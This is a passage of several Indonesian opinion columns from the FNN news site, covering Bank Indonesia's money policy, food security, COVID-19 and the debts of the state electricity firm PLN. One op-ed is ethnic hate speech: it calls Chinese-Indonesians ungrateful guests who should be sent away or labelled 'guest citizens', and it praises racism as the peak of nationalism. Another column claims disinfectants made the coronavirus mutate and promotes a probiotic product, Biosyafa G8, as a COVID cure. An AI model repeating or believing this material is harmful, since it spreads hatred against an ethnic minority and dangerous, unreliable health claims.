negara-negara tersebut. Seperti yang selalu dikemukakan oleh BI dalam berbagai kesempatan, Indonesia masih dalam situasi mode dangkal (shallow mode) dalam hal pasar keuangan. Kalau parameter pertama berhubungan dengan kuantitas, maka parameter kedua ini akan berhubungan dengan saluran transmisi dan variasi program dan alat (tools) yang dipergunakan. QE dalam keadaan pasar keuangan yang dangkal, tentu akan riskan. Dan karenanya, tidak memiliki ragam alternatif saluran sebagaimana yang dimiliki oleh negara-negara yang pasar keuangannya sudah dalam. Sebagai akibat dari parameter pertama dan kedua, maka suatu jaminan terhadap efek hyperinflatoir dalam masa QE menjadi parameter ketiga. Kisah klasik Weimar hyperinflation menjelaskan pelajaran berharga kepada kita. Bahwa mencetak uang tanpa suatu jaminan sumber daya ekonomi yang menopangnya akan sangat berbahaya. Kebijakan untuk mencetak uang yang menyebabkan devaluasi mata uang terhadap Dollar misalnya, pada batas optimalnya akan menjadi spiral terhadap inflasi. Apalagi jika suatu perekonomian begitu bergantung kepada pembiayaan hutang. Parameter yang keempat adalah ketentuan yang diatur didalam UU No.3/2004 Tentang Bank Indonesia. Terutama yang menyangkut dengan Neraca Modal Bank Indonesia yang dimuat dalam pasal (6 ) Undang-undang ini. Ketentuan dalam undang-undang ini membatasi neraca modal Bank Indonesia terhadap kewajiban moneternya. Neraca modal Bank Indonesia dibatasi maksimum 10% dari seluruh kewajiban moneter BI. Sebagai catatan akhir. Konsep mengenai Money Supply tidak memiliki keseragaman dalam pendefinisiannya di berbagai Bank Sentral. The Federal Reserve dalam mendifinisikan Uang Beredar Luas (M2) berbeda dengan Pendefinisian ECB (European Central Bank). Perbedaan ini terletak pada persepsi mengenai uang yang beredar dan uang yang potensial beredar di dalam perekonomian. Catatan ini bertujuan untuk memastikan agar apabila kebijakan QE pada akhirnya menjadi pilihan massif yang dilakukan Bank Indonesia. Kita tidak akan salah pengertian dalam memaknai Uang Beredar Luas (M2, M3, M4 dan M5) dalam prakteknya. Yang dapat dijadikan dasar adalah kesepakatan di kalangan Bank Sentral dalam hal penggunaan Uang Beredar Luas (M2) sebagai alat utama pengukur inflasi moneter. Akhirnya, kepada Allah SWT jugalah kita memohon petunjuk dan pertolongan. Wallahu Alam. Penulis adalah Pelaku Usaha dan Mantan Wakil Ketua Komisi XI DPR RI

Bedanya Ego Nasionalis dan Waras Nasionalis

Mereka yang berani meributkan pernyataan Rizal Ramli itu, sebagai pertanda bahwa mereka masih merasa sebagai Warga Negara Cina. Bukan Warga Negara Indonesia. Sehingga lebih baik disuruh pulang kampung saja ke negaranya. Jangan lagi hanya mudik (yang artinya kembali lagi ke Indonesia). Terbukti sekarang orang Cina yang seakan-akan menjadi warga negara itu, tidak tahu berterima-kasih di sini. By Hans Suta Widhya Jakarta FNN – Senin (27/04). Baru saja dituding SARA. Rizal Ramli yang begitu lugas mengkritik Cina (sesuai bahasa Indonesia, bukan China) seperti di ILC TVOne, sehari kemudian ia menetralisir tuduhan yang gencar disampaikan oleh netizen. Menurut pengamat Ekonomi yang sempat beberapa kali jadi menteri ini, bahwa yang dikritik itu Negara China, bukan Etnis Tionghoa. Lah? Inilah bedanya Ego Nasionalis yang dimiliki oleh seorang Rizal Ramli. Beda sekali dengan Waras Nasionalis yang melekat pada diri Ki Gendeng Pamungkas (KGP). KGP sejak tahun 1972, sudah kobarkan semangat Waras Nasionalisme. Waras Nasionalis yang menurut KGP, sama-sekali tidak mempunyai kepentingan kekuasaan atau ambisi murahan lainnya. Mengapa Rizal Ramli mundur atau kendur dengan ucapan awalnya sebagai Waras Nasionalisme itu? Padahal itu adalah sikap kesadaran sebagai Tuan Rumah di Bumi Nusantara ini? Jujur, saya jadi mempertanyakan sikap Rizal Ramli yang ambigu itu. Seharusnya dengan pernyataan itu, Rizal Ramli tidak perlu menguatiri banyak Warga Negara Keturunan (WNI) keturunan yang merasa tersinggung dan menganggap bahwa pernyataan RR tersebut adalah rasis. Sebab sejatinya tidak ada yang rasis dari pernyataan tersebut. Menurut saya, puncak nasionalis itu ya Rasis. Sehingga menjadi aneh, bila ada seorang pribumi yang mengritik Cina, tetapi kok ada warga keturunan di sini, yang sudah nyata-nyata menjadi warga negara kita, menjadi panas hatinya setiap kita bilang Cina atau RRC. Lucunya, mereka yang protes, saya duga sebagai pihak yang suka dan getol bicara tentang Pancasila dan Bhinneka Tunggal Ika dan sebagainya. Mereka yang berani meributkan pernyataan Rizal Ramli itu, sebagai pertanda bahwa mereka masih merasa sebagai Warga Negara Cina. Bukan Warga Negara Indonesia. Sehingga lebih baik disuruh pulang kampung saja ke negaranya. Jangan lagi hanya mudik (yang artinya kembali lagi ke Indonesia). Terbukti sekarang orang Cina yang seakan-akan menjadi warga negara itu, tidak tahu berterima-kasih di sini. Ada pepatah Minang mengatakan "dimana bumi dipijak disitu langit dijunjung". Ternyata pepatah ini tidak berlaku bagi orang Cina sekarang tinggal dan menjadi warga negara di Indonesia. Mentang-mentang sudah 200 tahun tinggal di sini, merasa ini negaranya juga. Pada tahun 1908 dan 1928 saja perwakilan mereka tidak ada yang ikut dalam merintis kemerdekaan bangsa nagara ini. Pantas saja Sukanto Tanoto pernah menyatakan bahwa “Indonesia hanya Ayah angkat atau ayah tiri. Sedangkan Republik Rakyat Cina sebagai ayah kandungnya”. KGP dengan Gerakan Front Pribumi yang dipimpinnya, menghimbau kepada seluruh pribumi agar pahami karakter orang-orang cina yang ada di tanah air ini. Mereka meski sudah jadi Bangsa Indonesia, tapi ternyata jiwanya tidak ikut mengakui. Mereka cuma hanya sekedar di bibir saja. Juga numpang hidup disini untuk mencari kekayaan semata. “Bila saja saya yang dipercaya menjadi Presiden bangsa Indonesia, maka keberadaan para cina-cina di sini akan diberlakukan status Warga Tamu (WT) di ujung kanan atas KTP mereka. Itu maknanya mereka Warga Tamu. Bukan pribumi asli, "ujar Ki Gendeng Pamungkas. Bila ucapan Rizal Ramli dituduh rasis dan tidak benar, maka orang cina yang ada saat ini dianggap tidak tahu berterima-kasih kepada pejuang, pendiri dan pemilik negeri ini. Andai kita suruh mereka pulang ke negara asalnya, mereka pasti merengek tidak mau pulang kampung. Karena mereka sudah keenakan mengeksplorasi kekayaan alam di sini. Mereka dibantu oleh pribumi-pribumi sampah yang bangga menjadi babu untuk cina. Penulis, Direktur Eksekutif Konsorsium Untuk Tranparansi Informasi Publik (KUTIP)

FAO Warning Krisis Pangan di Tengah Kegagalan Jokowi Dalam Tata Kelola Pangan!

Oleh Natalius Pigai Jakarta, FNN - WHO dan FAO telah memperingatkan dunia bahwa Pandemi Corona akan menyebabkan krisis pangan. Soal pangan adalah sektor esensial, sektor yang mengatur kebutuhan dasar, hisup matinya manusia. Ketika tahun 2014 Jokowi berkomitmen untuk membuka lahan pertanian 1 juta hektar di luar Jawa. Namun pada tahun 2019 dimasa kepemimpinannya pembukaan lahan 1 juta hektar hanya sebuah dongeng dan cita rasa utopia. Akibatnya tingkat keberlanjutan pangan jauh lebih rendah dari Vietnam, tingkat ketahanan pangan juga Indonesian berapa di urutan ke 17 di tahun 2019. Ancaman krisis pangan bukan hanya karena Pandemi Corona tetapi sebelum adanya ancaman virus ini kita telah mengabaikan ancaman krisis pangan. Lahan panen padi Indonesia masih terkonsentrasi di Pulau Jawa dengan total luas mencapai 7 juta ha dari 15 juta Ha atau hampir separuh dari lahan panen padi nasional. Menurut data Kementerian Pertanian, luas lahan panen padi pada 2017 meningkat 4,17% menjadi 15,79 juta hektare (ha). Jumlah tersebut terdiri dari luas lahan padi sawah seluas 14,63 juta ha dan padi ladang 1,16 juta ha. Jawa Timur merupakan provinsi dengan luas lahan panen padi terbesar, yaitu 2,29 juta ha atau sekitar 15% dari total luas lahan. Menurut angka ramalan II, Jawa Timur dapat memproduksi hingga 13,13 juta ton. Provinsi dengan luas lahan panen terbesar kedua adalah Jawa Barat yaitu seluas 2,12 juta ha (13,44%), diikuti oleh Jawa Tengah dengan luas 2,01 juta ha (12,74%). Berdasarkan data tersebut, lahan panen padi Indonesia masih terkonsentrasi di Pulau Jawa dengan total luas mencapai 7 juta ha atau hampir separuh dari lahan panen padi Nasional. Menteri Agraria Sofyan Jalil mengatakan keberadaan lahan sawah di Indonesia menyusut tajam, sebanyak 150 ribu hingga 200 ribu hektar lahan sawah berubah menjadi lahan nonsawah atau alih fungsi dari sawah kepentingan lain, jadi kawasan industri, rumah dan lain-lain. Sofyan Jalil pada Selasa (3/4/2018) seperti dikutip dari financedetik. Menurut Soyan Jalil penyusutan lahan meningkat tajam jika dibandingkan 6 tahun lalu. Sangat ironi karena 6 tahun lalu laju konversi lahan sawah menjadi lahan nonsawah sekitar 100 ribu hektar per tahun. Artinya, lajunya meningkat hingga 100 persen. Semalam di ruang perpustakaan di rumah, saya mencari buku-buku lama sewaktu kuliah di Jurusan Pemerintahan Desa di Yogyakarta. Menarik karena kembali menghidupkan memori medio 90-an di tempat kuliah yang dijuluki "kampus desa" di mana bidang studi sosiatri pembangunan masyarakat desa menjadi andalannya. Dalam berbagai hasil studi dan laporan statistik pangan menyatakan pulau Jawa adalah lumbung pangan nasional yang mensuplai 50 persen pangan nasional dan Indramayu merupakan kabupaten penghasil beras tertinggi di Indonesia . Pada tanggal 22 November 2016, baru saja mendarat dibandara menangani kasus Freeport di Papua, aktivis Agraria meminta saya mendatangi Kertajatii di Majalengka dan juga Indramayu karena masyarakat dipukul, dianiaya dan disiksa oleh aparat gabungan atas perintah pemerintah pusat demi perluasan landas pacu lapangan terbang yang memasuki wilayah hunian penduduk, harta warisan budaya dan tempat-tempat keramat serta luas sawah ribuan hektar. Pada saat itu juga saya mendatangi masyarakat di Kertajati, Majalengka. Keesokan harinya saya pimpin rapat di gedung sate kantor gubernur Jawa Barat dengan menghadirkan stakeholder. Pemerintah pusat bersih keras, gubernur Jawa Barat menolak tetapi karena proyek strategis nasional, maka pembangunan, penggusuran dan penghancuran tempat hunian masyarakat Kertajati tetap di lanjutkan. Di hadapan ribuan orang di Kertajati dan juga di kantor gubernur saya mewakili Komnas HAM menegaskan bahwa Kertajati tidak bisa dilanjutkan karena Majalengka dan Indramayu Lumbung Beras yang memberi makan jutaan rakyat Indonesia. Itulah sekelumit sedikit kisah perjuangan kami karena sedari awal telah tertanam di memori bahwa Majalengka dan Indramayu pusat produksi beras sebanyak 1 juta Ton dari 30 juta ton kebutuhan nasional. Tidak dapat disangkal bahwa hari ini pemerintah berpolemik soal tata kelola pangan nasional khususnya beras. Rakyat dipertontonkan dengan sandiwara antar anggota kabinet tentang perlu tidaknya impor beras 1 juta ton, polemik tentang kepastian data/jumlah stock beras, BPS tidak mampu menghitung secara pasti angka postulat berdasarkan statistik meskipun menggunakan data berbasis geografis (geografical information system), Bulog berkeras kepala untuk tidak mau Impor beras, kementerian pertanian tidak mampu mendorong produksi pangan dan mengendalikan petani gabah dan beras, demikian pula kementerian perdagangan masih mau memaksakan Impor beras. Itulah sandiwara yang dipertontonkan oleh pemerintah Jokowi-Jk 2014-2019 Karena katidakmampuan menuntun tata kelola pangan nasional. Persoalan pangan dan soal beras adalah soal mati hidupnya rakyat Indonesia namun pemerintah kewalahan, bahkan berantam diantara mereka. Bayangkan saja untuk menghidupi 263 juta penduduk Indonesia maka kita butuh 30 juta ton berat/ tahun. Dengan kebutuhan 114 kg/kapita/tahun. Berdasaran perhitungan akhir tahun 2017, suplai beras gabah petani diperkirakan 81 juta ton atau 46 juta ton beras. Artinya kita masih memiliki surplus beras sebanyak 16 juta ton kalau itu sesuai target. Sedangkan kebutuhan beras nasional Perbulan rata-rata 2,2 juta ton. Sementara cadangan beras pemerintah hanya 1,182 juta ton. Persoalan beras tetap menjadi perhatian nasional dan akan terus menjadi polemik tahunan yang tidak akan bisa berhenti sepanjang hayat bangsa Indonesia. Oleh karena itu, pemerintah tidak main-main, tidak bekerja musiman tetapi perlu proyeksi suplai dan demand dalam jangka waktu yang panjang. Kecenderungan pemerintah saat inj justru soal pangan dan beras dianggap tidak menjadi penting, pemerintah lebih mementingkan soal politik dan citra diri menghadapi tahun politik. Hasilnya kita menyaksikan sendiri indeks keberlanjutan pangan Indonesia nomor tiga terburuk di dunia. memalukan! Kembali ke Majalengka dan Indramayu, bahwa pembangun bandar udara internasioanl Kertajati memang penting bagi mobilitas orang, barang dan jasa, khususnya bagi Masyarakat Jawa Barat, tetapi justru secara langsung akan mempengaruhi sumber beras nasional. Adanya pembangunan kawasan industri, pembangunan real estate, perkantoran dan dinamika mobilitas orang, barang dan jasa secara otomatis mengantarkan penduduk dari masyarakat agraris ke industri dan jasa. Demikian pula penyusutan lahan pertanian dan perkebunan menyebabkan tidak mungkin lagi menyumbang beras 1 juta ton dari 30 juta kebutuhan beras nasional. Tidak hanya Majalengka dan Indramayu juga Kerawang, seluruh pulau Jawa terancam sebagai Lumbung pangan karena Data Kementerian Pertanian menunjukkan luas lahan sawah 44 persen berada di Pulau Jawa memiliki luas lahan sawah 3,4 juta hektar, dari total persawahan di Indonesia mencapai 7,74 hektar. Meski perlindungan lahan pertanian telah diatur dalam Undang-Undang Nomor 41 tahun 2009 tentang Perlindungan Lahan Pertanian Pangan Berkelanjutan dan sejumlah aturan turunannya telah diterbitkan pada 2012 lalu, tetapi dalam pelaksanaannya pemerintah menabrak aturan demi proyek ambisius pemerintah. Belum lagi orientasi pembangunan industri masih berbasis di pulau Jawa, ditunjang oleh pembangunan kawasan hunian, pengembangan perkotaan. pertumbuhan penduduk yang tinggi akan menyertai tuntutan kebutuhan ekonomi akan meningkat sebagaimana dikemukakan oleh Thomas Maltus. Faktor-faktor sebagaimana diatas memberi Konstribusi bukan tidak mungkin telah mengalami penyusutan lahan pertanian yang mana 51 persen sumber pangan nasional disuplai dari pulau Jawa yang meskipun luas pulaunya hanya 6 persen dari keseluruhan daratan di Indonesia. Kabupaten Bojonegoro dan Sragen juga mulai terancam sebagai sumber beras nasional. Bojonegoro tiap tahun juga menyumbang 1 juta ton, sementara Sragen 600-800 ratus ribu ton. Pada saat ini Sragen dalam ancaman penyusutan lahan karena konsekuensi dari pembangunan jalan Toll Semarang-Boyolali-Surakarta. Mobilitas barang, jasa dan orang yang semula melalui pantai utara mulai kecenderungan beralih melalui lintas tengah Salatiga, Sragen, apalagi pembangunan akses jalan toll Madiun-Ngawi. Kerusakan Ekosistem kart sebagaimana terjadi di pegunungan Kendeng akibat pembangunan pabrik semen di Jepara dibawah kepemiminan Ganjar Pranowo ikut memberi Konstribusi signifikan terhadap hambatan suplai air untuk kebutuhan ekonomi khususnya petani padi termasuk juga Bojonegoro meskipun berada di daerah aliran sungai bengawan Solo. Itulah beberapa ancaman dimana Jawa tidak akan bisa diharapkan menjadi daerah suplai pangan nasional khususnya beras. Salah satu dampak besar yang perlu diantisipasi adalah adanya ancaman urbanisasi akibat tingginya angkatan kerja, pengangguran dan kemiskinan yang meningkat diperdesaan tentu menyebabkan orang desa yang agraris menjadi masyarakat urban. Penduduk pedesaan yang memiliki lahan pertanian makin berkurang karena menua, akibatnya terjadi substitusi lahan dari pertanian ke jasa dan industri karena petani menjual areal pertanian mereka konglomerasi-konglomerasi yang menguasai lahan dipedesaan. Dampak besar ancaman penyempitan lahan pertanian juga terlihat dari pembangunan pembangkit tenaga listrik hampir tiap wilayah di pulau Jawa. Kabupaten Cilacap saja telah memiliki kurang lebih tiga pusat pembangkit listrik swasta dan pemerintah. Artinya kebutuhan Energi makin hari kian meningkat, tuntutan kebutuhan energi di pulau Jawa bisa saja termasuk paling tinggi termasuk di dunia. Dalam hal ini disatu sisi sangat membanggakan, namun juga membahayakan ekosistem dan sumber-sumber ekonomi berbasis pertanian perkebunan. Inilah korban dari rancang bangun pemerintah tersandera dokrin keynesian yang menyatakan bahwa pasar dan pemerintah sebagai simbiose mutualism. Pemerintah terlalu baik pada pasar tetapi pasar selalu egois mengejar keuntungan menyebabkan pemerintah selalu kalah dan ketinggalan untuk berbuat baik bagi rakyat. Konsep pembangunan kemitraan antara swasta dan pemerintah (publik private partnership/PPP) kurang lebih 10 tahun terakhir ternyata belum bisa memberi Konstribusi signifikan. Justru sebaliknya pemerintah dijadikan sapi perah swasta melalui proyek infrastruktur dengan investasi besar. Termasuk Pembangunan Bandar-Bandar Udara di Indonesia. Padahal kalau kita melihat secara jelih ternyata pembangunan bandar udara baru selalu merusak ekologi dan sumber ekonomi khususnya areal pertanian dan perkebunan. Bandar Udara Internasional Kuala Namu di Sumatera Utara merusak areal perkebunan, sumber potensial bagi pendapatan Sumatera utara juga nasional, Bandar Udara Sukarno Hatta, Badara Udara Sultan Hasanudin, Hang Nadim, Palembang, termasuk juga bandar udara internaional Kulon Progo Yogya dan lain sebagainya. Hampir semua pembangunan bandar udara selalu memakan korban. Jika tidak menggusur penduduk maka areal produksi pertanian dan perkebunan dirusak. Pulau Jawa memiliki 7 juta lahan pertanian, namun mengalami penyusutan sebanyak 200 ribu Ha per tahun maka hanya membutuhkan waktu 25 tahun lahan pertanian di Jawa akan hilang. Bagaimanapun pembangunan lapangan internsional, pembangunan insfrastruktur, pembangunan industri, real estate dan lainnya khususnya di pulau Jawa telah menghancurkan sumber potensial penghasil pangan. maka selanjutnya komitmen pemerintah untuk membuka areal pertanian 3 juta hektar sawah harus wujudkan sebagai konsekuensi janji presiden Jokowi sebelum 2019. Kalau tidak bisa diwujudkan maka pemerintah gagal memenuhi janji. Membaca disituasi ini pemerintah tentu mempunyai Master Plan pembangunan nasional dalam berbagai sektor termasuk sektor pertanian. Salah satu yang paling penting adalah perencanaan pembangunan dan pengembangan industri tentu memperhatikan ketersediaan lahan yang makin menyempit di pulau Jawa.

Berapa Pun Varian Virus Corona, Bisa Diatasi dengan Probiotik Siklus!

Oleh Mochamad Toha Jakarta, FNN - Sebuah studi di China menunjukkan, Virus Corona telah bermutasi menjadi setidaknya 30 variasi genetik yang berbeda. Hasil penelitian menunjukkan, para pejabat medis telah sangat meremehkan kemampuan virus untuk bermutasi secara keseluruhan. Mutasi virus itu dapat memengaruhi berbagai bagian dunia, yang mengarah pada kesulitan potensial dalam menemukan penyembuhan secara keseluruhan. Penelitian yang dilakukan oleh Profesor Li Lanjuan dan rekan-rekannya dari Universitas Zhejiang di Hangzhou, China, diterbitkan dalam makalah non-peer-review yang dirilis pada Minggu (19/4/2020). Para peneliti menganalisis 11 strain virus pasien COVID-19 yang dipilih secara acak dari Hangzhou, di mana ada 1.264 kasus yang dilaporkan. Kemudian dilakukan pengujian seberapa efisien mereka bisa menginfeksi dan membunuh sel. Lebih dari 30 mutasi virus yang berbeda terdeteksi, di mana 19 diantaranya sebelumnya tidak ditemukan. Katanya, “Sars-CoV-2 telah memperoleh mutasi yang mampu secara substansial mengubah patogenisitasnya,” tulis Li seperti dikutip New York Post. Tim Li menemukan bahwa beberapa jenis virus yang paling agresif mampu menghasilkan 270 kali viral load atau jumlah virus dalam sel darah. Menurut temuan mereka, keragaman sejati dari strain virus kurang diperhatikan dan harus dipahami untuk menemukan pengobatan atau vaksin. “Pengembangan obat dan vaksin, walaupun mendesak, perlu mempertimbangkan dampak akumulasi mutasi ini, terutama mutasi pendiri, untuk menghindari kemungkinan jebakan,” tulis para penulis. Mengapa corona bisa bermutasi sampai 30 variasi genetika yang berbeda? Salah satunya karena masifnya penyemprotan desinfektan berbasis alkohol dan bahan kimia lainnya. Itu yang tidak pernah dipikirkan oleh para peneliti. Perlu diingat, virus corona itu basic-nya seperti virus influenza. Habitatnya juga ada di kulit sekitar hidung manusia. Mereka ini bertugas membersihkan zat-zat patogen yang menempel di kulit sekitar hidung dan bibir atas. Mereka juga bertugas membantu menjaga kelembaban kulit manusia. Jadi, sebenarnya virus corona tersebut berada di tubuh manusia. Sifat dasar virus/bakteri itu serupa dengan antibodi, manusia, hewan, atau tanaman. Yakni, kalau mereka tersakiti, mereka akan memperkuat dirinya, dan menggandakan dirinya beratus-ratus kali lipat, dibandingkan pada kondisi normal. Hewan, akan beranak sebanyak mungkin. Tanaman, akan berbuah dan bertunas sebanyak mungkin. Si corona itu, begitu masuk ke dalam tubuh kelelawar, mereka meriplikasi dirinya sebanyak mungkin. Hal itu dilakukan, karena itu tempat asing bagi mereka, dan itu membuat mereka ketakutan, maka mereka menggandakan dirinya sebanyak mungkin. Begitu si kelelawar itu dimakan manusia, maka corona ini beralih ke manusia, dan langsung menggandakan diri lebih hebat lagi. Pertanyaannya, kenapa kelelawar-kelelawa itu tidak sakit seperti manusia? Karena kelelawarnya ndablek, cuek, masa bodoh, dan “tidak berpikir”, sehingga antibodinya kuat, dan tidak tersakiti. Maka kalau manusia ingin sehat, walaupun sudah terpapar Covid-19, bersikaplah seperti kelelawar, minimal ndablek, cuek, dan masa bodoh. Covid-19 yang tertuduh sebagai pembunuh massal sadis itu, berusaha dibunuh secara massal pula, dengan disemproti desinfektan secara massal. Akibatnya, ada sebagian yang mati, ada sebagian yang masih hidup. Barangkali yang masih hidup lebih banyak dibanding dengan yang telah mati. Karena sudah menjadi sifatnya virus/bakteri itu, maka yang hidup ini menggandakan dirinya beratus-ratus atau beribu-ribu kali lebih banyak dan lebih kuat dibanding sebelumnya. Kalau sebelumnya kemampuan terbangnya hanya sekitar 1,8-2 m, menjadi akan lebih jauh lagi dibanding dengan itu. Kemampuan terbang lebih jauh inilah yang menyebabkan mereka menjadi bersifat “airborne infection”. Lalu karena jumlah mereka sangat banyak, mereka juga menemukan bakteri-bakteri lain yang mempunyai daya terbang lebih jauh. Corona menumpang pada bakteri lainnya. Hal ini serupa dengan pesawat ulang alik yang numpang pada pesawat yang berbadan lebih besar. Akibat dari penyemprotan desinfektan secara massal, menyebabkan mereka menjadi: Lebih banyak; Lebih kuat; Mampu terbang lebih jauh; Daya rusaknya lebih hebat. Maka, tidaklah mengherankan, jika di Wuhan yang saat itu hanya ditemukan 3 varian corona, tapi di Amerika Serikat sudah ditemukan 5 varian corona. Sehingga, menjadi mudah dimaklumi, kalau di AS dan di Italia angka kematiannya lebih tinggi dibandingkan di Wuhan. Pada saat ditemukan di Timteng yang disebut dengan MERS-CoV = middle east respirstory syndrome coronavirus, yang menjadi kambing hitamnya adalah Unta. Karena hewan itulah yang ada di sana. Ketika di Wuhan, ya kelelawar yang ada di sana. Lalu apa yang bisa kita lakukan sekarang? Tidak perlu panik, tidak usah khawatir. Akibat ketakutan, kepanikan, daya tahan tubuh kita turun drastis. Daya tahan tubuh yang turun itu, serupa dengan, jika kita takut sama gendruwo, mak lampir, wewe gombel, dan kawan-kawannya itu. Begitu ketemu mereka, kita tak punya daya apapun, mau lari, hanya kosel-kosel di tempat, bahkan sampai terkencing-kencing di celana. Kematian tidak ada hubungannya dengan corona. Kalau waktunya mati, tak ada corona pun, bisa mati. Andaikan didemo besar-besaran sama corona, kalau belum waktunya mati, ya tetap sehat. Corona itu sahabat kita, bukan musuh kita. Perlu diketahui, G8 - salah satu varian dari produk Probiotik Siklus - adalah bakteri komunitas dengan jumlah ribuan strains bakteri tanah (hingga 7500 strains) dan didominasi oleh “sekumpulan bakteri negatif” yang dibutuhkan oleh tubuh. Pada saat virus – termasuk diantaranya corona – dihadirkan G8, maka – virus ini berasumsi yang dihadirkan di G8 itu adalah kawan-kawan mereka. Sehingga “virus tidak lagi merasa diserang, tidak lagi merasa disakiti, tidak lagi merasa terancam keberadaannya”. Yang terjadi kemudian, bersama-sama dengan sekumpulan bakteri lengkap pada G8, mereka akan hidup normal, berkembang dan regeneratif sesuai fitrahnya. Keseimbangan Mikrobiota kemudian yang terjadi. Pada saat semua seimbang, selesai sudah masalah karena tidak lagi ada yang terlalu dominan, tak lagi ada ketimpangan. Pada dasarnya, semua ciptaan Allah SWT itu diciptakan dalam keadaan berpasang-pasangan. Manakala tidak ada pasangannya, mereka akan gelisah, lalu mereplikasi dirinya semaksimal mungkin. Hal itu dilakukan karena adanya ketakutan/kegelisahan mereka. Dengan menyemprotkan cairan ber-Probiotik Siklus ini di bagian luar tubuh manusia, maka membuat mereka tidak resisten dan tidak berkembang biak terus-menerus. Dengan memasukkan Biosyafa G8 – salah satu varian produk Probiotik Siklus ini – ke dalam tubuh penderita, maka si corona itu akan menemukan pasangannya, sehingga mereka merasa aman, dan tidak akan melakukan proses regeneratif lagi. Mereka merasa nyaman, lalu secara bertahap akan menjadi bagian dari mikrobioma di tubuh kita. Mereka menjadi mematikan dan sangat ganas, seperti manusia, karena ketakutannya akan keberlangsungan hidupnya di dunia akan berakhir, makanya mereka berusaha sekuat-kuatnya mempertahankan keberadaannya di muka ini. Kalau terjadi di dalam tubuh, terutama di saluran pernafasan, mereka akan mengalami proses regenerasi yang sangat cepat. Itu dilakukan sebagai bentuk usahanya untuk mempertahankan kehidupannya. Dalam proses itulah muncul cairan, sebagai tempat hidup mereka. Hanya saja, cairan tempat hidupnya itu bersifat toksik bagi tubuh manusia, sehingga merusak mukosa di saluran pernafasan, dan sampai ke paru-paru, merusak paru-paru, lalu paru-paru kaku, tidak bisa bergerak secara leluasa, akibat nafasnya sesak, maka gagal nafas. Dengan memasukkan Biosyafa ini ke tubuh kita, maka si corona itu sebagian besar akan menemukan pasangannya, sehingga mereka tak regeneratif lagi, dan bersifat tidak menyakiti lagi. Sisanya, akan dikoloni oleh probiotik yang lainnya. Jadi, tidak bersifat membunuh mereka, tetapi menjadi sahabat mereka, dan mengajak kembali ke habitat dan sifat alamiahnya. Probiotik Siklus itu, menyelesaikan kasus ini, pada sumber masalahnya, yaitu sang pelaku proses penyerangan ini, dan tidak bersifat mematikan mereka. ** Penulis Wartawan Senior.

PLN Berani Buka Kondisi Keuangan, Kapan BUMN Lain?

By Salamuddin Daeng Jakarta FNN – Sabtu (25/04). Kita semua perlu angkat topi dan memberikan apresiasi buat Direktur Utama Perusahaan Listrik Negara (PLN). Tanpa beban, akhirnya Direksi PLN mengakui gagal bayar utang perusahaan untuk tahun ini. Untuk itu, PLN meminta kepada bank agar pembayaran utang untuk tahun 2020 dilakukan tahun depan. Mengakui gagal bayar bukan hal mudah bagi sebuah perusahaan. Langkah ini akan menjadi reputasi bagi PLN di mata pemberi pinjaman, dan investor di masa mendatang. Gagal bayar berarti jatuh peringkat utang perusahaan. Jatuh juga kepercayaan banker kepada perusahaan. Namun suatu kenyataan. Harus mengatakan apa adanya. Ini juga hebat, dan luar biasa. Langkah Berani Tahun ini PLN memotong target pendapatan. Perusahaan listrik negra ini memotong target pendapatan hampir 15%. Ini disebabkan penurunan penjualan listrik akibat pelemahan konsumsi, terutama untuk kelompok industry, cafee, restoran dan lain sebagainya yang terkena dampak covid 19. Pada saat yang sama PLN dituntut menjalankan aksi kemanusiaan dengan mengratiskan listrik untuk pelanggan 450 VA dan memberikan discount 50% untuk 900 VA. Langkah yang tepat. Tentu publik sangat berterima kasih. Meskipun ini memberi konsekuensi. Namun Dirut PLN Zulkifli Zaini kepada media menyatakan, pendapatannya akan turun menjadi Rp. 257 triliun rupiah atau setara U$ 16,7 miliar tahun ini. Turun sekitar 14,6% dari perkiraan sebelumnya sebesar Rp. 301 triliun rupiah. Setiap penurunan 1% dalam permintaan listrik memotong pendapatan PLN sebesar Rp 2,8 triliun. Memang, PLN kehilangan kesempatan untuk memotong biaya dikarenakan kontrak dalam pembelian listrik swasta. Begitu juga kontrak dalam pembelian energy primer, batubara dan gas. Sementara pemerintah tidak menghendaki revisi penurunan harga bahan bakar di tengah jatuhnya harga minyak dan batubara secara global ke posisi paling rendah sepanjang sejarah. Pemerintah bahkan menolak merevisi rumus harga BBM bagi konsumen dalam negeri saat ini. Hasilnya, harga BBM tidak berubah. Memang secara alami konsumsi listrik Indonesia mengalami penurunan. Kondisi ini seiring dengan pelemahan pada pertumbuhan ekonomi. Selain itu, juga akibat bangkrutnya Industri dan melemahnya daya beli masyarakat dalam lima tahun terakhir. Namun, pada saat yang bersamaan, PLN telah terikat tugas dari pemerintah untuk mensukseskan project listrik 35.000 MW. Ada juga kewajiban untuk membeli listrik swasta dengan skema Take Or Pay. Sementara produksi listrik Indonesia telah berlebih di Jawa Bali sejak tahun 2014 lalu. Perusahaan meminta bank apakah pembayaran utang yang jatuh tempo tahun ini dapat ditunda sampai tahun depan? Data PLN menunjukkan bahwa perusahaan memiliki sekitar Rp. 161 triliun kewajiban jangka pendek pada akhir Juni nanti, termasuk pinjaman bank jangka pendek. PLN dan Pertamina adalah dua BUMN dengan utang paling besar, terutama dalam valuta asing. Bagaimana BUMN Lain ? Bagaimana dengan BUMN lain? Apakah Direksi BUMN lain secara kesatria akan mengakui gagal bayar juga dalam tahun ini? Diketahui bahwa beberapa BUMN mengalami masalah dengan utangnya. PT Krakatau Steel misalnya, mengatakan pada bulan Januari akan merestrukturisasi utang sebesar U$ 2 miliar, karena terhuyung-huyung di ambang kebangkrutan. Kondisi PT Krakatau Steel, juga dialami oleh dua perusahaan asuransi milik negara, yaitu PT Jiwasraya dan PT Asabri yang mengalami default. Masalah Jiwasraya terungkap sepenuhnya bulan lalu. Pihak berwenang mengatakan total kerugian negara lebih dari 16 triliun rupiah. Selain itu, dua dari BUMN yang merupakan kunci untuk membangun infrastruktur telah mendorong pinjaman dalam beberapa tahun terakhir. PT Waskita Karya misalnya, yang membangun jalan, jembatan, pelabuhan, bandara, dan bangunan, termasuk kantor pusat Bank Indonesia di Jakarta, terlihat kalau utangnya melambung tinggi lebih dari 10 kali menjadi Rp. 82,8 triliun. September 2015 lalu, utangnya PT Waskita Karya hanya sebesar Rp. 7,7 triliun. Kondisi yang sasma juga dialami oleh PT Wijaya Karya. Perusahaan yang banyak membangun apartemen komersial dan residensial serta sistem transportasi kereta api dan jembatan itu, hutangnya melonjak tajam. Pada September 2015 hanya Rp. 3,7 triliun, kini melonjak menjadi Rp 21,7 triliun. Jokowi telah berusaha membersihkan perusahaan-perusahaan milik negara sejak memenangkan masa jabatan kedua tahun 